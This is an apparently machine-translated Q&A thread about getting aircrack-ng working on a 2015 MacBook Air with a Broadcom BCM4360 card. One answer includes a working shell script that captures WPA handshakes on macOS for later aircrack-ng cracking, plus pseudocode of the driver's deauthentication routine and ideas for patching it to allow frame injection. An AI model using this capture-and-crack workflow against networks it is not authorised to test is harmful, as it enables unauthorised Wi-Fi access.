aircrack-ng 无法在 2015 年初的 MacBook Air 上使用带有 presistence 的 live kali linux usb 运行

aircrack-ng 无法在 2015 年初的 MacBook Air 上使用带有 presistence 的 live kali linux usb 运行

airmon-ng 启动 wlan0

发现 5 个可能造成问题的进程。如果 airodump-ng、aireplay-ng 或 airtun-ng 在短时间后停止工作,您可能需要终止其中某些进程!

PID 名称 1412 NetworkManager 1527 wpa_supplicant 1690 dhclient 1850 avahi-daemon 1851 avahi-daemon

PHY 接口驱动芯片组

phy0 wlan0 wl Broadcom Corporation BCM4360 802.11ac 无线网络适配器(rev 03)无法使用 ip 命令设置 wlan0mon:没有此设备(-19)

    (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)

命令失败:操作不受支持(-95)(mac80211 站模式 vif 已为 [phy0]wlan0 禁用)

==== 我正在使用 kali linux 2.0 4.0.0-kali1-686-pae

答案1

好吧,经过搜索,我终于发现我的 Macbook air 中的网卡不受支持。

BCM4360 802.11ac 无线网络适配器,设备 ID 为“14e4:43a0“并且根据 aircrack-ng 网站https://wireless.wiki.kernel.org/en/users/Drivers/b43#Known_PCI_devices

我的卡不受支持。我在这里发布此信息,以便其他与我处境相同的人能够得到帮助。:) 现在我明白了,唯一的办法是购买 USB wifi 网络适配器。

答案2

确实,b43 驱动程序确实不是支持BCM4360(14e4:43a0)。

broadcom-sta-dkms不过,Broadcom 的专有驱动程序确实支持该芯片组。它位于Debian Wheezy 非免费存储库提供的驱动程序包中。

一位 Kali 用户曾成功使用此软件包适用于另一个 BCM 芯片组。如果对您有用,您可以修改 Kali Live 映像以包含它。

否则,如果首先使用 在 Mac OS X 中捕获握手数据包,仍然可以在 Kali 中使用 aircrack-ng tcpdump。这是一个 shell 脚本,它将在 MacBook Air 上捕获 WPA 握手,在 OS X 10.11(El Capitan)上测试:

#!/bin/sh

function usage() {
   echo "usage: $(basename $0) <essid>"; exit
}
if [[ ! $(id -u) -eq 0 ]]; then echo "Must be run as root."; exit; fi
if [[ -z "$1" ]]; then usage; fi

echo "Scanning for access point..."
apbin=/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
aplist=$($apbin -s)
matchct=$(echo "$aplist" | grep "$1" | wc -l)

if [[ ! "$matchct" -eq 1 ]]; then echo "Bad essid"; usage; fi
echo "Found $bssid."

essid=$(echo "$aplist" | grep "$1" | awk '{print $1;}')
bssid=$(echo "$aplist" | grep "$1" | awk '{print $2;}')
chan=$(echo "$aplist" | grep "$1" | awk '{print $4;}' | cut -d, -f 1)
capfl="$essid.cap"
if [[ -f "$capfl" ]]; then
   read -p "'$capfl' exists. Overwrite? [y/N] " ow
   case $ow in 
      [nN][oO]|'')
         echo "Canceled"
         exit
         ;;
      *)
         rm -f "$capfl"
         ;;
   esac
fi

echo "Dissociating airport and tuning to channel $chan..."
$apbin -z -c $chan &>/dev/null
echo "Waiting for handshake packets..."
tcpdump "(type mgt subtype assocreq or ether proto 0x888e) and ether host $bssid" -U -i en0 -I -c 5 -w $capfl &>/dev/null

echo "Exiting."
echo "You may try running:"
echo "aircrack-ng -w  $capfl"

(如果你想在 Mac OS X 上运行 aircrack-ng,你可以通过以下方式安装自制使用brew install aircrack-ng。)


如果尚未支持,我认为可以修补此驱动程序(在 Linux 和 Mac 上)以发送任意取消认证帧并支持通用数据包注入。

Apple 的驱动程序二进制文件基于 Linux 中使用的专有 Broadcom 驱动程序;即,它们以简化的伪代码共享相同的核心例程,包括这个:

wlc_senddeauth(ctx, arg2, arg3, arg4, arg5, arg6) {
   int err, len, mi;
   int temp_out;
   len = wlc_iem_calc_len(*(ctx+0x858), arg2, 0xc0, 0, 0);
   mi = wlc_frame_get_mgmt_int(ctx, 0xc0, arg4, arg6, 0, len+2, &temp_out, 0);
   if (mi) {
      err = wlc_iem_build_frame(*(ctx+0x858, arg2, 0xc0, 0, 0, 2, len);
      assert(err == 0);
      temp = arg3 ? *(arg3+0x20) : 0;
      err = wlc_queue_80211_frag(ctx, mi, *(*(arg2+0x10)+0x18), arg3, temp, 0, 0, 0)
      assert(err == 0);
   }
}

wlc_queue_80211_frag我认为你可以使用 Apple 驱动程序二进制文件中的 C++ 类的调用树对的参数进行逆向工程AirPort_Brcm4360,该调用树位于:

/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortBrcm4360.kext/Contents/MacOS/AirPortBrcm4360

相关内容